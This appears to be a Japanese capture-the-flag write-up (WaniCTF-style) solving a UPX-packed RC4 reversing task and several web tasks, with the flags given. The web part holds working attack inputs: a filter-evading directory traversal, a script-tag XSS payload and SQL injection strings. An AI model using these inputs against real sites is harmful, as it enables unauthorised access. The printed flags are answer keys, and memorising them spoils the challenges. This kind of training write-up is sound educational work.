WARNING | 2020-11-22 17:06:05,386 | angr.storage.memory_mixins.default_filler_mixin | Filling memory at 0x7fffffffffefef0 with 37 unconstrained bytes referenced from 0x700008 (strncpy+0x0 in extern-address space (0x8))
FLAG SHOULD BE: b'FLAG{did_you_really_check_the_return_value}\x00\x02\x02\x10\x02\x00\x02\x80@\x10\x01\x01@@\x04\x00\x00'
FLAG{did_you_really_check_the_return_value}
static (Very hard)
バイナリを注意深く見てみよう
ビルド環境 ubuntu 18.04 gcc latest
ヒント:まずは表層解析をして気になる文字列が見つかれば調べてみましょう
UPX
という文字列が見える。UPXは元のバイナリを上書きしてしまうので、一応別名でコピーしてから、展開。
$ cp static static2
$ upx -d static2
Ghidraで見てみると、フラグと何らかの値をxorしてある値になるか調べているようだけど、この値を作る処理が複雑なので、GDBで実行してメモリを読んだ。
X = [
0xcb, 0xd9, 0xc1, 0x63, 0xb2, 0x1b, 0x3f, 0x38, 0x90, 0xdd, 0x07, 0x41, 0xb5, 0x1f, 0x84, 0x34,
0x38, 0xf5, 0xbd, 0x3e, 0x85, 0x55, 0x56, 0x31, 0x5e, 0x05, 0xef, 0x4d, 0x79, 0xeb, 0xfd, 0x1b,
0xf9, 0x8f, 0x11, 0x24, 0xe8, 0x98, 0x22, 0x27, 0xe2, 0xb5, 0xbc, 0x7a, 0x71, 0x63, 0x46, 0x09,
0x08, 0xb0, 0x99, 0x77, 0xa0, 0x89, 0x22, 0x17, 0xa3, 0x25, 0x1a, 0x40, 0xb8, 0x61, 0xce, 0x39,
0xa8, 0x69, 0xec, 0x56, 0xbc, 0x1f, 0x6f, 0x10, 0xdd, 0x40, 0xfc, 0x77, 0x9d, 0xae, 0x28, 0x48,
0xb7, 0xba, 0x52, 0x22, 0xcc, 0x5d, 0x93, 0x45, 0x9a, 0xbd, 0x65, 0x75, 0xc0, 0x40, 0xe2, 0x5a,
0x01, 0xd6, 0xed, 0x20, 0x02, 0x24, 0x36, 0x47, 0xc7, 0xfc, 0x61, 0x0b, 0xb7, 0x07, 0x76, 0x7c,
0x7d, 0x73, 0xf7, 0x6c, 0xfa, 0x62, 0x22, 0x52, 0x9b, 0x31, 0xe1, 0x5e, 0xa2, 0x4c, 0xb9, 0x50,
0x04, 0x7e, 0x61, 0x0a, 0x3c, 0x0f, 0xe9, 0x1f, 0x81, 0x6c, 0x3d, 0x05, 0x1d, 0x73, 0x1f, 0x49,
0x44, 0x65, 0x3f, 0x51, 0xb5, 0x71, 0x2c, 0x53, 0xfb, 0x5e, 0x1d, 0x65, 0x72, 0xf5, 0x50, 0x75,
0xff, 0x0a, 0x4f, 0x7a, 0x4e, 0x14, 0xda, 0x5f, 0x77, 0x58, 0x97, 0x7e, 0x89, 0xba, 0xe8, 0x71,
0xb7, 0x9d, 0xfc, 0x76, 0x6f, 0x7e, 0xb1, 0x3e, 0x42, 0x1c, 0xb7, 0x2b, 0xf2, 0x07, 0xe9, 0x4d,
]
Y = [
0xb9, 0xd9, 0xc1, 0x63, 0xd1, 0x1b, 0x3f, 0x38, 0xa4, 0xdd, 0x07, 0x41, 0xea, 0x1f, 0x84, 0x34,
0x0c, 0xf5, 0xbd, 0x3e, 0xeb, 0x55, 0x56, 0x31, 0x3a, 0x05, 0xef, 0x4d, 0x26, 0xeb, 0xfd, 0x1b,
0xca, 0x8f, 0x11, 0x24, 0x9c, 0x98, 0x22, 0x27, 0x83, 0xb5, 0xbc, 0x7a, 0x05, 0x63, 0x46, 0x09,
0x61, 0xb0, 0x99, 0x77, 0xc3, 0x89, 0x22, 0x17, 0xfc, 0x25, 0x1a, 0x40, 0x89, 0x61, 0xce, 0x39,
0xc1, 0x69, 0xec, 0x56, 0xd2, 0x1f, 0x6f, 0x10, 0xb6, 0x40, 0xfc, 0x77, 0xc2, 0xae, 0x28, 0x48,
0x83, 0xba, 0x52, 0x22, 0xa2, 0x5d, 0x93, 0x45, 0xfe, 0xbd, 0x65, 0x75, 0x9f, 0x40, 0xe2, 0x5a,
0x72, 0xd6, 0xed, 0x20, 0x35, 0x24, 0x36, 0x47, 0xb5, 0xfc, 0x61, 0x0b, 0xde, 0x07, 0x76, 0x7c,
0x0d, 0x73, 0xf7, 0x6c, 0x8a, 0x62, 0x22, 0x52, 0xa8, 0x31, 0xe1, 0x5e, 0xc6, 0x4c, 0xb9, 0x50,
0x5b, 0x7e, 0x61, 0x0a, 0x4c, 0x0f, 0xe9, 0x1f, 0xb0, 0x6c, 0x3d, 0x05, 0x68, 0x73, 0x1f, 0x49,
0x37, 0x65, 0x3f, 0x51, 0xea, 0x71, 0x2c, 0x53, 0x8e, 0x5e, 0x1d, 0x65, 0x02, 0xf5, 0x50, 0x75,
0x87, 0x0a, 0x4f, 0x7a, 0x11, 0x14, 0xda, 0x5f, 0x07, 0x58, 0x97, 0x7e, 0xe8, 0xba, 0xe8, 0x71,
0xd4, 0x9d, 0xfc, 0x76, 0x04, 0x7e, 0xb1, 0x3e, 0x71, 0x1c, 0xb7, 0x2b, 0x96, 0x07, 0xe9, 0x4d,
]
print("".join(chr(X[i]^Y[i]) for i in range(0, len(X), 4)))
$ python3 solve.py
rc4_4nd_3tatic_1ink_4nd_s7ripp3d_p1us_upx_pack3d
なるほど、面倒な処理はRC4。
FLAG{rc4_4nd_3tatic_1ink_4nd_s7ripp3d_p1us_upx_pack3d}
Web
DevTools_1 (Beginner)
ブラウザの開発者ツールを使ってソースコードをのぞいてみましょう!
FLAG{you_can_read_html_using_devtools}
DevTools_2 (Easy)
開発者ツールを使うと表示を書き換えることができます。
5000兆円欲しい!
(5000000000000000円持っていることにするとフラグを手に入れることができます。)
裏で動いているスクリプトが監視しているらしく、書き換えたらフラグが出てきた。
FLAG{you_can_edit_html_using_devtools}
Simple Memo (Beginner)
flag.txtというファイルに私の秘密を隠したが、 完璧にサニタイズしたため辿りつける訳がない。
(Hint) ディレクトリトラバーサルという脆弱性です。
https://simple.wanictf.org/flag.txt を開くだけ
../
を消す処理があるので、..././flag.txt
が想定解法かな。
FLAG{y0u_c4n_get_hi5_5ecret_fi1e}
striped table (Easy)
テーブルの行の背景色をストライプにする作業をしてもらったら、こんなことになってしまいました!
ページにjavascript alert(19640503)を埋め込み実行させるとフラグが得られます。
開発者ツールのコンソールで実行すれば良いんじゃないの?と試したら、「コンソールで実行してもフラグは教えられません!」と言われた。はい。
偶数行のメモはエスケープ処理が抜けている。問題文はそういうことか。偶数行のメモに<script>alert(19640503)</script>
。
FLAG{simple_cross_site_scripting}
SQL Challenge 1 (Normal)
URLの「year=」の後に続く数字(年号)をSQL injectionを起こすような文字列に変更するとFLAGが表示されます。
一部使えない文字もあるのでソースコード(index.php)を参考に考えてみてください。
SQL文は、"SELECT * FROM anime WHERE years =$year"
。フラグは辺な年で登録されているらしく、WHERE
が常に真となれば良い。弾かれる文字はスペース、'
、/
、\
、|
。"1"OR"1"
でいけた。
FLAG{53cur3_5ql_a283b4dffe}
SQL Challenge 2 (Hard)
:
//preg_replaceで危険な記号を処理する。
$pattern = '/([^a-zA-Z0-9])/';
$replace = '\\\$0';
$year = preg_replace($pattern, $replace, $year);
//クエリを作成する。
$query = "SELECT * FROM anime WHERE years = $year";
:
こんなん無理だろと思ったけど、1_schema.sqlを見るとyears
はVARCHAR
。sql-chall-2.zipを見ると、今回のフラグの年は文字列らしい。year=0
。
FLAG{5ql_ch4r_cf_ca87b27723}